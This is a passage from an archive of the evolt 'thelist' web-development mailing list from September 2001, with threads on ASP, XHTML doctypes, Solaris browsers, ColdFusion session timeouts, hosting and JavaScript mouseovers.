chkbox1 to checked else code to set chkbox 1 to unchecked You also need a Submit button which fires an update query and checks for the states of all checkboxes to update any changes the user might have done. Does this help? Matthias -----Original Message----- From: Sanders, Robert (IndSys, Pwr. Equip., IM) [mailto:robert.sanders at indsys.ge.com] Sent: Monday, September 17, 2001 09:10 To: 'thelist at lists.evolt.org' Subject: [thelist] Database/ASP Samples PLease I would very much welcome the opportunity to review some ASP used to connect to a database. I've been working towards this same end but to no avail. If avyone has some code that they wouldnt mind sharing I would appreciate if they'd forward it to me so I could attempt to figure out what I'm doing wrong. I really just want to create a "My Reports" web page for our business reports but need an ASP for the end users to subscribe to reports initially and then revisit that same page and be able to unsubscribe or subsribe to additional reports. That is, the p[age must display (via check boxes) what reports a user has already subscribed to. Thanks for the much needed help. --------------------------------------- For unsubscribe and other options, including the Tip Harvester and archive of TheList go to: http://lists.evolt.org Workers of the Web, evolt ! From MMcAtee at philamuseum.org Mon Sep 17 12:21:34 2001 From: MMcAtee at philamuseum.org (McAtee, Malcolm) Date: Mon Sep 17 12:21:34 2001 Subject: [thelist] Virtual SSI on NT Message-ID: I am moving a portion of a website from a linux to NT server. Is there a syntax difference in the way that Virtual include statements need to be written on an NT box? Existing Code: TIA Malcolm From nonzero at well.com Mon Sep 17 12:26:01 2001 From: nonzero at well.com (Kevin D. White) Date: Mon Sep 17 12:26:01 2001 Subject: [thelist] Virtual SSI on NT References: Message-ID: <007001c13f9d$86d95550$a5a931d0@marchfirstslc.com> > Is there a syntax difference in the way that Virtual include statements need > to be written on an NT box? Nope. It's the same. From peter at vardus.com Mon Sep 17 12:26:33 2001 From: peter at vardus.com (Peter) Date: Mon Sep 17 12:26:33 2001 Subject: [thelist] bandwidth In-Reply-To: References: <5.1.0.14.0.20010917122840.03004ec0@mail.vardus.net> Message-ID: <5.1.0.14.0.20010917152930.0306bd50@mail.vardus.net> > > about 70.000 pages a month? > >Thereabouts, but note also that some hosts include FTP and email traffic >when calculating your consumption. Mmmm, that means I would need at least the next package, which costs ?700 a year - that's too expensive. Surely only really small sites can then have enough with 3 gigs? I'll look into alternatives.... Pete From ghunt at hds.ca Mon Sep 17 12:27:34 2001 From: ghunt at hds.ca (Glenn Hunt) Date: Mon Sep 17 12:27:34 2001 Subject: [fwd] Re: [thelist] Site not available? - Update Message-ID: <0037f1623171191BUNSON@bunson.webservepro.com> --------------------------------------------- This message was held by thelist software and is being manually forwarded by a list admin. Please remember to send emails in plain-text format only, or they will not reach thelist until it is later forwarded by a list admin. --------------------------------------------- Richard, First, to clear up the confusion, default routes and default gateways are the same thing. MS (and others) call them gateways, they are routes in the *NIX world. You can have multiple ones, but it's not recommended. Second, I would say you have two big issues. The first is that your DNS isn't giving you an address. Try using the providers (gofast.net) DNS servers (209.46.63.1, 209.46.63.6). They should always provide a correct and quick response because they don't have to contact any other DNS servers to return a reply. Second, I suspect that the ping and traceroute fail because the server appears to be behind a firewall which is hiding ICMP traffic. Both ping and traceroute rely on ICMP. Many firewalls block this because it can be used in denial-of-service attacks. It is also possible the provider simply doesn't have thing set up properly. In Windows 2000, you can have as many DNS servers as you wish. Simply click on the "Advanced" button in the IP config dialog, and select the DNS tab. One last thing you can check to try and narrow the problem is to always use the IP number in the address bar of the browser. This takes the DNS out of the loop (i.e. "http://209.46.83.16/"). Let me know if you still have trouble. Glenn Hunt ghunt at hds.ca From jmlucero at webicarus.com Mon Sep 17 13:08:54 2001 From: jmlucero at webicarus.com (Juan Manuel Lucero) Date: Mon Sep 17 13:08:54 2001 Subject: [thelist] [ OT ] // US under attack // Another point of view Message-ID: <002d01c13fa2$d42aa160$4e14fea9@juan> This is an excellent article from The Guardian newspaper, UK. I was about to post the whole article ( "They can't see why they are hated" // Americans cannot ignore what their government does abroad // Seumas Milne // The Guardian (UK) // Thursday September 13, 2001 ), but since a lot of people complained about OT?s, here is the URL: http://www.guardian.co.uk/Archive/Article/0,4273,4255855,00.html Juan Manuel Lucero From nate at vicksburgcollective.com Mon Sep 17 13:11:44 2001 From: nate at vicksburgcollective.com (nate koechley) Date: Mon Sep 17 13:11:44 2001 Subject: [thelist] web development for Solaris Message-ID: <5.1.0.14.0.20010917105753.038f10d0@pop3.vicksburgcollective.com> Hey Folks, For the current site I'm developing, there is a strict requirement that all pages work correctly on Solaris (Sun) platform browsers. While I consider myself something of an expert on Mac/PC and Netscape/IE/Opera issues, I have almost zero experience with Sun. Can you good people alert me to some of the common pitfalls, things to be aware of, or resources/places to learn the same? I'd like to educate myself in advance, with the hopes of alleviating a painful QA process. Thank you all, .nek From cwilliams at computermodules.com Mon Sep 17 13:20:37 2001 From: cwilliams at computermodules.com (Chris Williams) Date: Mon Sep 17 13:20:37 2001 Subject: [thelist] Two questions:1. Pacific Bell Telephone problems, and 2. looking for a reliable ISP for a business account. In-Reply-To: <20010914061220.D7C8B521C8@relay.evolt.org> Message-ID: Hello, I am having severe problems accessing the internet from my home phone and I am using Pacific Bell. They came out to my home on 4-5 different occasions, all have said there is a problem with the phone line on their end, and have supposedly refered it to cable for repair, but there is never any resolution...ie I cannot get out onto the internet from home, I cannot access my email accounts, and I have been cut off from receiving replies to job applications I have submitted via the internet. I am really concerned, as my job here is ending in the next few weeks and I have sat home for days on end waiting for their technicians to arrive, causing a lot of lost time here at work, thousands of dollars in medical bills which were not authorized by my insurance company, but since they had no way to contact me because my phone line would either give out a busy signal, go dead, or ring without completing the circuit to my telephone, I will end up paying for this out of my own pocket. The problem is in their lines, and they just kiss off the call, do a test from the office, and close the ticket. Has anyone else had this issue, and what did you do to resolve it? My second question is regarding a good web hosting company. I am looking for a stable, reliable ISP which has decent tech support to host our web site. We currently use Host pro, and are looking for a second ISP for the new site. Thanks a bunch! Chris Williams From r937 at interlog.com Mon Sep 17 13:47:35 2001 From: r937 at interlog.com (rudy) Date: Mon Sep 17 13:47:35 2001 Subject: [thelist] tips please.... Message-ID: <01c13fa8$a16fd140$674c149a@rudy> > I appreciate how large an issue the events in the US are, > but I subscribed to a web development list. thanks, steve folks, if you are not sure whether a post to this list ("thelist") is off topic or not, add a tip just in case please see the list guidelines -- http://lists.evolt.org/index.cfm/a/listinfo > If you really want to discuss such issues with members of > TheList, can I suggest that The Chat is a better place. right on sign up for "thechat" list here -- http://lists.evolt.org/mailman/listinfo/thechat threads are, understandably, preoccupied with recent events... http://lists.evolt.org/thechatarchive/Week-of-Mon-20010917/date.html cnet's stupid web tricks -- http://builder.cnet.com/webbuilding/0-7690.html?tag=st.bl.3881.more.7690 some aren't really all that stupid rudy From webdad at tampabay.rr.com Mon Sep 17 13:50:45 2001 From: webdad at tampabay.rr.com (Bob Boisvert) Date: Mon Sep 17 13:50:45 2001 Subject: [thelist] ASP Timed Text Display In-Reply-To: Message-ID: <000601c13fa9$e2fa4540$0200a8c0@BOISNET2> Hi Annie, Question, How are the questions that they come up with going to be stored? It seems to me that if the questions were stored in a database then a select statement could be included to call a particular question after a certain time. Hope this give you a spark... Bob -----Original Message----- From: thelist-admin at lists.evolt.org [mailto:thelist-admin at lists.evolt.org]On Behalf Of Annie Sent: Monday, September 17, 2001 11:48 AM To: thelist at lists.evolt.org Subject: [thelist] ASP Timed Text Display Hey guys, hope you can help me out on this one :) I have a client who I have created a contest website for. Part of the contest is that each day a question will be posted on the website, giving participants 24 hours to answer the question before a new question is posted. They are quite adament about posting the question manually each day, a bit paranoid about the confidentiality of the questions. But here's the clincher: they want to be able to post the question earlier in the day, say 4pm, but not have it appear on the website until 5:15pm. Is there any quick and relatively painless way to do this? Thanks! Annie --------------------------------------- For unsubscribe and other options, including the Tip Harvester and archive of TheList go to: http://lists.evolt.org Workers of the Web, evolt ! --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.277 / Virus Database: 146 - Release Date: 9/5/01 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.277 / Virus Database: 146 - Release Date: 9/5/01 From JGreen at DesMoinesMetro.com Mon Sep 17 14:24:12 2001 From: JGreen at DesMoinesMetro.com (Green, Janet) Date: Mon Sep 17 14:24:12 2001 Subject: [thelist] embarrassingly stupid XHTML questions Message-ID: <9BF107507B15D511B2D6000255586DFA15F8C2@exchweb.partners.com> 1. When writing a page in XHTML, does one save the page as .html, or .xhtml? 2. If XHTML pages can be "transitional," can they also be something else? If so, what? And how do you know which one to state in the of the document? 3. What are unicode and UTF-8, and how do I know what I am using? I've never made a conscious decision on this. Please post answers in "for dummies" lingo. Thanks. Thanks! Janet From mwarden at mattwarden.com Mon Sep 17 14:26:43 2001 From: mwarden at mattwarden.com (Warden, Matt) Date: Mon Sep 17 14:26:43 2001 Subject: [thelist] embarrassingly stupid XHTML questions In-Reply-To: <9BF107507B15D511B2D6000255586DFA15F8C2@exchweb.partners.com> Message-ID: On Sep 17, Green, Janet had something to say about [thelist] embarrassingly... >1. When writing a page in XHTML, does one save the page as .html, or .xhtml? .html will do fine. >2. If XHTML pages can be "transitional," can they also be something else? If >so, what? Strict. >And how do you know which one to state in the of the >document? Well, you don't state it in the , but you code to one of the specs. Whichever spec you code to and the page validates to will be the one you state. hth, -- mattwarden mattwarden.com From hassan at webtuitive.com Mon Sep 17 14:27:29 2001 From: hassan at webtuitive.com (Hassan Schroeder) Date: Mon Sep 17 14:27:29 2001 Subject: [thelist] web development for Solaris References: <5.1.0.14.0.20010917105753.038f10d0@pop3.vicksburgcollective.com> Message-ID: <3BA64D9B.DC282BD3@webtuitive.com> nate koechley wrote: > For the current site I'm developing, there is a strict requirement that all > pages work correctly on Solaris (Sun) platform browsers. > Can you good people alert me to some of the common pitfalls, things to be > aware of, or resources/places to learn the same? I'd like to educate myself > in advance, with the hopes of alleviating a painful QA process. First - which browsers? Netscape, IE, HotJava, Amaya? I'll assume you're primarily dealing with the first of those :-) Most of what you know about Netscape 4.x applies, but: 1) table rendering: slow - avoid nested tables like the plague. 2) CSS font-size: usually fails if you don't specify font-family for each class or tag (don't count on inheritance). 3) CSS font-family: generally a much more limited font palette. 4) screen res: usually at least 1152x900; watch font-size settings, especially if you're used to using pixels as the unit. A lot of commercial Web sites are basically unusable from a Sun workstation, due to nonsense like 9-pixel text; this also applies to graphical buttons with text on them. 5) color: most older Suns have 8-bit frame buffers, and due to the interaction with other apps under X, may even have problems with the Web-safe color palette ("problems" in the sense of your lovely orange color shows up as brown, etc.). That's all that occurs to me right now. If you have other specific questions, feel free to send them to me directly. HTH! -- H* Hassan Schroeder ----------------------------- hassan at webtuitive.com Webtuitive Design === (+1) 408-938-0567 === http://webtuitive.com -- creating dynamic Web sites and applications since 1994 -- From evolt at spinhead.com Mon Sep 17 14:32:28 2001 From: evolt at spinhead.com (spinhead) Date: Mon Sep 17 14:32:28 2001 Subject: [thelist] Two questions:1. Pacific Bell Telephone problems, and 2. looking for a reliable ISP for a business account. References: Message-ID: <001901c13fae$c4459b40$aa01000a@HEISENBERG> I was once a telocom analyst (I'm in Socal) and in our office, we had a PacBell veteran who was our specialist at dealing with them. Her ace-in-the-hole was that her husband was some kind of regional director and frequently made calls to make things happen. Sometimes, that was the only way to deal with them. PacBell can be extremely difficult to deal with or to motivate, but it's unfortunately almost purely random. I've got PacBell phone service and, in response to your second request, I just move from the dismal Cox Cable modem to PacBell DSL, and I've never been happier - installation sooner and faster than I expected, the billing is correct, the access speed averages 900k (on a 384k line) and they didn't even screw up my phones during the install. The two weapons an end user has against PacBell are infinite persistance (not always possible) and determined pressure to speak to the next supervisor up the chain. If you don't get the response you want from whoever you're speaking to, get their supervisor on the line. They won't like it, but they'll do it. They CAN get it right, but once you're in a black hole like this, the only way out is to make them so unhappy to hear from you that they'll fix it just to make you go away. spinhead ----- Original Message ----- From: "Chris Williams" To: Sent: Monday, September 17, 2001 11:19 AM Subject: [thelist] Two questions:1. Pacific Bell Telephone problems, and 2. looking for a reliable ISP for a business account. > Hello, > > I am having severe problems accessing the internet from my home phone and I > am using Pacific Bell. They came out to my home on 4-5 different occasions, > all have said there is a problem with the phone line on their end, and have > supposedly refered it to cable for repair, but there is never any > resolution...ie I cannot get out onto the internet from home, I cannot > access my email accounts, and I have been cut off from receiving replies to > job applications I have submitted via the internet. I am really concerned, > as my job here is ending in the next few weeks and I have sat home for days > on end waiting for their technicians to arrive, causing a lot of lost time > here at work, thousands of dollars in medical bills which were not > authorized by my insurance company, but since they had no way to contact me > because my phone line would either give out a busy signal, go dead, or ring > without completing the circuit to my telephone, I will end up paying for > this out of my own pocket. > > The problem is in their lines, and they just kiss off the call, do a test > from the office, and close the ticket. Has anyone else had this issue, and > what did you do to resolve it? > > My second question is regarding a good web hosting company. I am looking > for a stable, reliable ISP which has decent tech support to host our web > site. We currently use Host pro, and are looking for a second ISP for the > new site. > > Thanks a bunch! > > Chris Williams > From morbus at disobey.com Mon Sep 17 14:35:32 2001 From: morbus at disobey.com (Morbus Iff) Date: Mon Sep 17 14:35:32 2001 Subject: [thelist] embarrassingly stupid XHTML questions In-Reply-To: <9BF107507B15D511B2D6000255586DFA15F8C2@exchweb.partners.co m> Message-ID: <5.1.0.14.2.20010917152748.015208b0@red.totalnetnh.net> >1. When writing a page in XHTML, does one save the page as .html, or .xhtml? HTML. Although it may seem semantically correct to save it as .xhtml, it's nonstandard, and you may cause problems with older browsers that don't know how to process it (assuming the webserver doesn't send the correct Content Type). Dummy: I'd play it safe and stick with .html. >2. If XHTML pages can be "transitional," can they also be something else? If >so, what? And how do you know which one to state in the of the >document? They can be "Strict", which, for example, would mean that the following two tags wouldn't work (of course, there are more):
Which one to state is really a matter of how anal you want your pages to be. "Transitional" assumes that you're know HTML and that you've grown up using FONT, and CENTER, and all those design oriented tags. "Strict" assumes that all your design is done in stylesheets (and oh so much more - I'm kinda dummying "Strict" unfairly). Dummy: "Strict" may be to hard and to anal for most people. "Transitional" is a good choice (I use it myself). >3. What are unicode and UTF-8, and how do I know what I am using? I've never >made a conscious decision on this. Dummy: I'm dumb. Although I have an inkling of an answer on this, I'd rather not shoot both you and I in the foot. The way I've been handling it: - just a generic web audience, I always encode all entities to their HTML equivalent (like © & and so forth). - catering to foreign people, I encode the document to UTF-8 (see the source of disobey.com/amphetadesk/ for an example) and encode most entities to numeric equivalents (of which I can't remember any off the top of my head). -- Morbus Iff ( i am your scary godmother ) http://www.disobey.com/ && http://www.gamegrene.com/ please me: http://www.amazon.com/exec/obidos/wishlist/25USVJDH68554 icq: 2927491 / aim: akaMorbus / yahoo: morbus_iff / jabber.org: morbus From sgd at ti3.com Mon Sep 17 14:37:05 2001 From: sgd at ti3.com (Scott Dexter) Date: Mon Sep 17 14:37:05 2001 Subject: [thelist] Two questions:1. Pacific Bell Telephone problems, and 2. looking for a reliable ISP for a business account. Message-ID: > The two weapons an end user has against PacBell are infinite > persistance > (not always possible) and determined pressure to speak to the next > supervisor up the chain. If you don't get the response you An effective tactic my ex-girlfriend used with SWBell was refusing to pay her bill until it was corrected.... sgd From roland at ninehells.org Mon Sep 17 14:49:02 2001 From: roland at ninehells.org (Martin McCarthy) Date: Mon Sep 17 14:49:02 2001 Subject: [thelist] [OT]Linux help Message-ID: Howdy. Sorry to make an offtopic post, but I've been having a really hard time with something. If anyone out there is familiar with LinuxPPC, could you drop me a line offlist and offer a hand with something? Having some problems with keymappings. If you're going to be writing a lot of PHP, it's a good idea to install Apache with PHP on your machine, so you can test stuff locally. It'll save you a good deal of time and headaches from constantly uploading and re-uploading stuff. -- Martin McCarthy From matthewmozer at hotmail.com Mon Sep 17 15:46:26 2001 From: matthewmozer at hotmail.com (Matt Mozer) Date: Mon Sep 17 15:46:26 2001 Subject: [thelist] Cold Fusion session variables Message-ID: I was wondering if anyone knew how to set up a jscript alert window or for that matter a >... "Strict", which, for example, would mean that the following > two tags wouldn't work (of course, there are more): > >
that's an interesting idea, morbus but those tags do work ;o( (confirmed in ie5 and netscape6) it's not like the doctype turns them off (i wish) perhaps you meant to say the tags "shouldn't" work but they do > "Strict" assumes that all your design is done in stylesheets > (and oh so much more - I'm kinda dummying "Strict" unfairly). right, all the styling attributes, even entire tags, are gone as a data guy, i love this separation of structure and style -- data being similarly all about "what" and not about "how" but i'm curious -- what did you have in mind when you said "and oh so much more"? > >3. What are unicode and UTF-8 very good question i dunno either, although i have heard that can cause problems and for the time being is optional rudy From data at data1701d.com Mon Sep 17 15:53:38 2001 From: data at data1701d.com (Bill Mason) Date: Mon Sep 17 15:53:38 2001 Subject: [thelist] embarrassingly stupid XHTML questions In-Reply-To: <01c13fba$524e1380$8551149a@rudy> Message-ID: <5.1.0.14.2.20010917135300.00a4b5d0@data1701d.com> At 01:50 PM 9/17/01, rudy wrote: >although i have heard that > > > >can cause problems and for the time being is optional The only browser I ever saw that cause a break was in Mac IE 4.0. With the declaration there, the page will not display at all. Bill Mason data at data1701d.com http://profile.guru.com/billmason From jerjer at earthlink.net Mon Sep 17 15:53:45 2001 From: jerjer at earthlink.net (Jer) Date: Mon Sep 17 15:53:45 2001 Subject: [thelist] Cold Fusion session variables & B of A Online Banking Experience References: Message-ID: <02c401c13fba$cb1b1060$67f5c23f@pacbell.net> > Does anyone use bank of america online banking? Can't help with the CF session variables but to answer your other question, we use B of A online banking with wonderful experience. Very convenient when we download into Quicken Jer & the Team Payday Advance Consulting An Industry Resource http://www.PaydayAndPaycheckLoans.com From jedimaster at macromedia.com Mon Sep 17 15:53:56 2001 From: jedimaster at macromedia.com (Raymond Camden) Date: Mon Sep 17 15:53:56 2001 Subject: [thelist] Cold Fusion session variables In-Reply-To: Message-ID: <000f01c13fbb$45801260$6401a8c0@mylittledomain.internal> > I was wondering if anyone knew how to set up a jscript alert > window or for > that matter a For instance, > I set my timeout in my application.cfm page to 10 seconds, > and after 10 > seconds I would like a pop up window saying "for your > protection, your > session has timed out and you will be redirected to the login > page." Ok or > cancel.. Something like that... Well, first off, I certainly wouldn't use 10 seconds as a time out, but I assume you are joking. So, what are your options. Well, as you know, CF is a server side language. The browser doesn't know when a session var has timed out because the browser is client side. But, there are ways around it. If your timeout is 5 mins, on every page, you can easily output JavaScript code that waits 4 minutes and gives a warning. (Ie, in one min your session will time out.) However, this will not be perfect. If the user opens another browser window and hits your site, thereby refreshing their session time out, the JavaScript time out in the first window will not be in sync anymore. However, that isn't a horrible thing per se. > Do I need an if statement somewhere? possibly in the > application.cfm page? I > can't seem to find anything about customizing the application > page in any of > my books. > > Does anyone use bank of america online banking? Yep, and I know exactly what you mean. They are, most likely, using the same method. Does this help? ======================================================================= Raymond Camden, Principal Spectra Compliance Engineer for Macromedia Email : jedimaster at macromedia.com Yahoo IM : morpheus "My ally is the Force, and a powerful ally it is." - Yoda From seth at sethbienek.com Mon Sep 17 16:02:47 2001 From: seth at sethbienek.com (Seth Bienek) Date: Mon Sep 17 16:02:47 2001 Subject: [thelist] Cold Fusion session variables In-Reply-To: Message-ID: Hi Matt, > I was wondering if anyone knew how to set up a jscript alert > window or for > that matter a Does anyone use bank of america online banking? You should be able to logon to BOA's logon banking and use "view source" to have a look at their JavaScript, or you can build one yourself fairly simply. Javascript's timer functions are very straightforward. Regards, Seth From morbus at disobey.com Mon Sep 17 16:04:37 2001 From: morbus at disobey.com (Morbus Iff) Date: Mon Sep 17 16:04:37 2001 Subject: [thelist] embarrassingly stupid XHTML questions In-Reply-To: <01c13fba$524e1380$8551149a@rudy> Message-ID: <5.1.0.14.2.20010917170416.009e42d0@red.totalnetnh.net> >>... "Strict", which, for example, would mean that the following >> two tags wouldn't work (of course, there are more): >> >>
> >that's an interesting idea, morbus >but those tags do work ;o( Sorry. Those tags won't validate under XHTML Strict. Whether they work or not is another matter entirely, but the document won't be considered valid Strict XHTML. >but i'm curious -- what did you have in mind when you said >"and oh so much more"? Welp, ultimately, I was saving my butt. I don't know every single difference between Transitional and Strict, but I know that *one* difference was the pure and exact separation of design and content. The "oh so much more" was to make sure that no one would say "but hey! that's not all! Strict also does..." ... >i dunno either, although i have heard that > > > >can cause problems and for the time being is optional I've been dealing with encoding an awful lot with my AmphetaDesk program (disobey.com/amphetadesk/). If an XML document does NOT have an encoding, it is *supposed* to be read in as UTF-8. Correct me if I'm wrong however, as the whole encoding issue drives me bonkers. -- Morbus Iff ( i am your scary godmother ) http://www.disobey.com/ && http://www.gamegrene.com/ please me: http://www.amazon.com/exec/obidos/wishlist/25USVJDH68554 icq: 2927491 / aim: akaMorbus / yahoo: morbus_iff / jabber.org: morbus From matthewmozer at hotmail.com Mon Sep 17 16:11:23 2001 From: matthewmozer at hotmail.com (Matt Mozer) Date: Mon Sep 17 16:11:23 2001 Subject: [thelist] Cold Fusion Session Variables Message-ID: I was wondering if anyone knows how set up a jscript or I was wondering if anyone knows how set up a jscript or Message-ID: <00d901c13fcf$e54b9300$0200a8c0@clearskybroadband.com> We currently use Host pro, and are looking for a second ISP for the that eliminates Interland and WIPC as they both belong to HostPro OnlineOntime.com in phoenix is a good 'nix company haven't run across a reliable NT company yet From scot at vquill.com Mon Sep 17 18:53:52 2001 From: scot at vquill.com (Scot) Date: Mon Sep 17 18:53:52 2001 Subject: [thelist] Design/JS question Message-ID: The URL is question is http://www.eden.infohwy.com/~scot/japanese/index.html (and its associated pages). There has been a critique done on this URL by some of you fine folks in the past. Now, I'm trying to flush out the problems that were found, and I can't seem to get past 2 of them. First let me say that the front pages for each section are using the same template (the new one), but the subsections are using the previous template. That will all change once I get these problems fixed/dismissed. Problem one: When a scroll bar is present, it shifts the contents of the page ever so slightly to the left (due to the centering of the contents). I realize this is a minor point, so I was hoping that someone might be willing to either tell me how to fix it, or tell me to get over it. Problem two: It was suggested that the navigational links at the top and bottom of the page have a mouseover effect. I liked the idea very much. Here comes the problem, and I'm sure many of you have had the same or similar problems, how do I get it to work in Netscape 4 and IE5.x+/NS6.x/Mozilla. The latter group is easy enough, but including Netscape 4 is where I run into problems. I've tried using the position:absolute solution, but the links can't all be on the same line if I do that. I've had some success with the use of CSS on IE and NS6.x/Mozilla, but that leaves out NS4.x. Do I abandon them and go with the simple solution or find some way of using layers inside of span tags to get it to work? I don't mind putting a little effort into this site if the end result is more usable/presentable (plus, phase 2 is set for release upon completion of phase 1). Thanks, Scot P.S. I'll send a tip as soon I can. -- From crawford_phil at hotmail.com Mon Sep 17 19:01:49 2001 From: crawford_phil at hotmail.com (phil crawford) Date: Mon Sep 17 19:01:49 2001 Subject: [thelist] Two questions:1. Pacific Bell Telephone problems, and 2. looking for a reliable ISP for a business account. Message-ID: I've been moving my Interland sites to InnerHost this year. InnerHost is _so_ much better than Interland it is mind-numbing. I've had no problems with InnerHost at all. None. I used Interland the past couple years for a variety of sites. Interland is amazingly, outrageously awful. >From: "the head lemur" >Reply-To: thelist at lists.evolt.org >To: >Subject: Re: [thelist] Two questions:1. Pacific Bell Telephone problems, >and 2. looking for a reliable ISP for a business account. >Date: Mon, 17 Sep 2001 16:24:26 -0700 > >We currently use Host pro, and are looking for a second ISP for the > >that eliminates Interland and WIPC as they both belong to HostPro > >OnlineOntime.com in phoenix is a good 'nix company > >haven't run across a reliable NT company yet > > > > >--------------------------------------- >For unsubscribe and other options, including >the Tip Harvester and archive of TheList go to: >http://lists.evolt.org Workers of the Web, evolt ! > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp From nicole at parrot.ca Mon Sep 17 19:10:59 2001 From: nicole at parrot.ca (Nicole Parrot) Date: Mon Sep 17 19:10:59 2001 Subject: [thelist] Interland/ Innerhost References: Message-ID: <02f401c13fd6$6528abc0$41c9ca18@nicole> Funny you should be mentionning Innerhost, cause we're moving OUT of Innerhost. We've had numerous problems with them lately, namely a sporadic incapacity to FTP in, Visual Interdev Support being very iffy, stats for one site being turned off without warning, and the most annoying of them all, the incapacity to send outgoing mail one day out of two. Nicole ----- Original Message ----- From: "phil crawford" > I've been moving my Interland sites to InnerHost this year. > InnerHost is _so_ much better than Interland it is mind-numbing. I've had > no problems with InnerHost at all. None. > I used Interland the past couple years for a variety of sites. Interland is > amazingly, outrageously awful. From r937 at interlog.com Mon Sep 17 19:19:14 2001 From: r937 at interlog.com (rudy) Date: Mon Sep 17 19:19:14 2001 Subject: [thelist] embarrassingly stupid XHTML questions Message-ID: <01c13fd7$84e986e0$8551149a@rudy> >... Those tags won't validate under XHTML Strict. > Whether they work or not is another matter entirely, > but the document won't be considered valid Strict XHTML. you can understand why someone trying to learn xhtml is going to wonder "so, what's the point of the doctype then?" why am i not surprised that internet explorer and netscape are forgiving (rhetorical question) does anyone know of browsers that display strict as strict? personally, i found the switch to xhtml strict quite easy -- frustrating at times, but pretty straightforward also, see this article -- The XHTML Transition: It's not that difficult http://evolt.org/article/foo/17/9953/index.html the rumour that you have to give up tables for layout to use xhtml is not true rudy http://rudy.ca/ From hassan at webtuitive.com Mon Sep 17 19:27:27 2001 From: hassan at webtuitive.com (Hassan Schroeder) Date: Mon Sep 17 19:27:27 2001 Subject: [thelist] Design/JS question References: Message-ID: <3BA694E9.928A578F@webtuitive.com> Scot wrote: > Problem two: It was suggested that the navigational links at the top > and bottom of the page have a mouseover effect. > > I've tried using the position:absolute solution, but the links can't > all be on the same line if I do that. I've had some success with the > use of CSS on IE and NS6.x/Mozilla, but that leaves out NS4.x. /* warning: simple but non-compliant hack approaching */ foo /* end of hack - don't tell the W3C :-) */ HTH! -- H* Hassan Schroeder ----------------------------- hassan at webtuitive.com Webtuitive Design === (+1) 408-938-0567 === http://webtuitive.com -- creating dynamic Web sites and applications since 1994 -- From ckanderson at powersurfr.com Mon Sep 17 19:28:43 2001 From: ckanderson at powersurfr.com (Christian Anderson) Date: Mon Sep 17 19:28:43 2001 Subject: [thelist] Javascript inside of Javascript... :) References: <000801c13ee4$5948e6a0$1631a8c0@hot7> <3BA563F6.440DD30D@phreaker.net> <5.1.0.14.2.20010916221812.02dd9ea8@baratta.com> <001a01c13f79$953a4060$ce03cc3d@chris> <3BA5E7C9.1020109@heerssen.com> Message-ID: <001f01c13fd8$ef3fb4a0$9206cc3d@chris> Bruce, Actually that is not the problem that I am trying to solve. The mouseover works perfectly fine, its just a matter of getting it in there properly with javascript. I am pulling news feeds from moreover.com, and they use javascript. I fooled with it, and got it looking the way I want it, and now the last thing is getting the tags to work on the mouseover. Its just the javascript code screwing up when it tries to write the onmouseover thing. > >Yeah, moreover.com :) > > > >That mousover thing has to go in the tag. I guess I should have > >mentioned that... so when I try it as >onMouseover="onColor(this);" onMouseout="offColor(this);"> it doesnt work. > > > >Why why why?? :) > > > >www.photokyo.com > > > This came up the other day. I think the problem is going to be the > bgcolor attribute in the tag. Ditch the bgcolor attribute and use > CSS instead, then you should be able to change it with javascript. From morbus at disobey.com Mon Sep 17 19:32:42 2001 From: morbus at disobey.com (Morbus Iff) Date: Mon Sep 17 19:32:42 2001 Subject: [thelist] embarrassingly stupid XHTML questions In-Reply-To: <01c13fd7$84e986e0$8551149a@rudy> References: <01c13fd7$84e986e0$8551149a@rudy> Message-ID: >you can understand why someone trying to learn xhtml is going >to wonder "so, what's the point of the doctype then?" Try these articles: http://www.oreillynet.com/pub/a/javascript/synd/2001/08/28/doctype.html http://www.oreillynet.com/pub/a/network/2000/04/14/doctype/index.html http://developer.apple.com/internet/_html/doctype.html -- Morbus Iff ( i am your scary godmother ) http://www.disobey.com/ && http://www.gamegrene.com/ please me: http://www.amazon.com/exec/obidos/wishlist/25USVJDH68554 icq: 2927491 / aim: akaMorbus / yahoo: morbus_iff / jabber.org: morbus From Anthony at Baratta.com Mon Sep 17 20:05:37 2001 From: Anthony at Baratta.com (Anthony Baratta) Date: Mon Sep 17 20:05:37 2001 Subject: [thelist] Javascript inside of Javascript... :) In-Reply-To: <001a01c13f79$953a4060$ce03cc3d@chris> References: <000801c13ee4$5948e6a0$1631a8c0@hot7> <3BA563F6.440DD30D@phreaker.net> <5.1.0.14.2.20010916221812.02dd9ea8@baratta.com> Message-ID: <5.1.0.14.2.20010917180331.02b298b0@baratta.com> try this.... document.writeln(""); document.writeln(' Message-ID: <01f701c13fde$4b7a9960$a300a8c0@aci.on.ca> Matt, I'm not following you here. Is this in the relationships window, that you can get it to show the column type information? Exactly, how does one get that to display? Thanks, Michele For more information than you may every want describing your Access database, with your current database open, choose Tools, Analyze, Documenter. If your database is large, with many tables, queries, forms, reports, etc., you may want to run the Documenter off-hours. You can customize much of the information that is generated too. Makes for a good start to documenting your work. ----- Original Message ----- From: "Warden, Matt" To: Sent: Monday, September 17, 2001 7:04 AM Subject: Re: [thelist] Database documentation | On Sep 17, phil had something to say about Re: [thelist] Database documentation | | >[Access's relationships view is] not as descriptive as rudy's screenshot | >(it doesn't provide column type information) | | It will if you tell it to by checking the "column types" checkbox in the | table properties. It just hides those by default. | | | HTH, | | | -- | mattwarden | mattwarden.com | | | --------------------------------------- | For unsubscribe and other options, including | the Tip Harvester and archive of TheList go to: | http://lists.evolt.org Workers of the Web, evolt ! | From dave at du4.com Mon Sep 17 20:50:55 2001 From: dave at du4.com (Dave Dufour) Date: Mon Sep 17 20:50:55 2001 Subject: [fwd] [thelist] Replacing Carriage returns in Javascript Message-ID: <001064850011291BUNSON@bunson.webservepro.com> --------------------------------------------- This message was held by thelist software and is being manually forwarded by a list admin. Please remember to send emails in plain-text format only, or they will not reach thelist until it is later forwarded by a list admin. --------------------------------------------- I have an application in which I need to replace carriage returns/line feeds with a little-used character that can be converted back by another script. Can anyone tell me how to do this in Javascript? I know about the string.replace() function, but I have no idea how to refer to carriage returns and line feeds. In VBScript there is CHR(10) and CHR(13). What is the equivalent in Javascript? I've pored over O'Reilly's looking for it. Thanks in advance. Dave From thelist at cbizz.net Mon Sep 17 20:54:51 2001 From: thelist at cbizz.net (profjj) Date: Mon Sep 17 20:54:51 2001 Subject: [thelist] Adding Sound In-Reply-To: 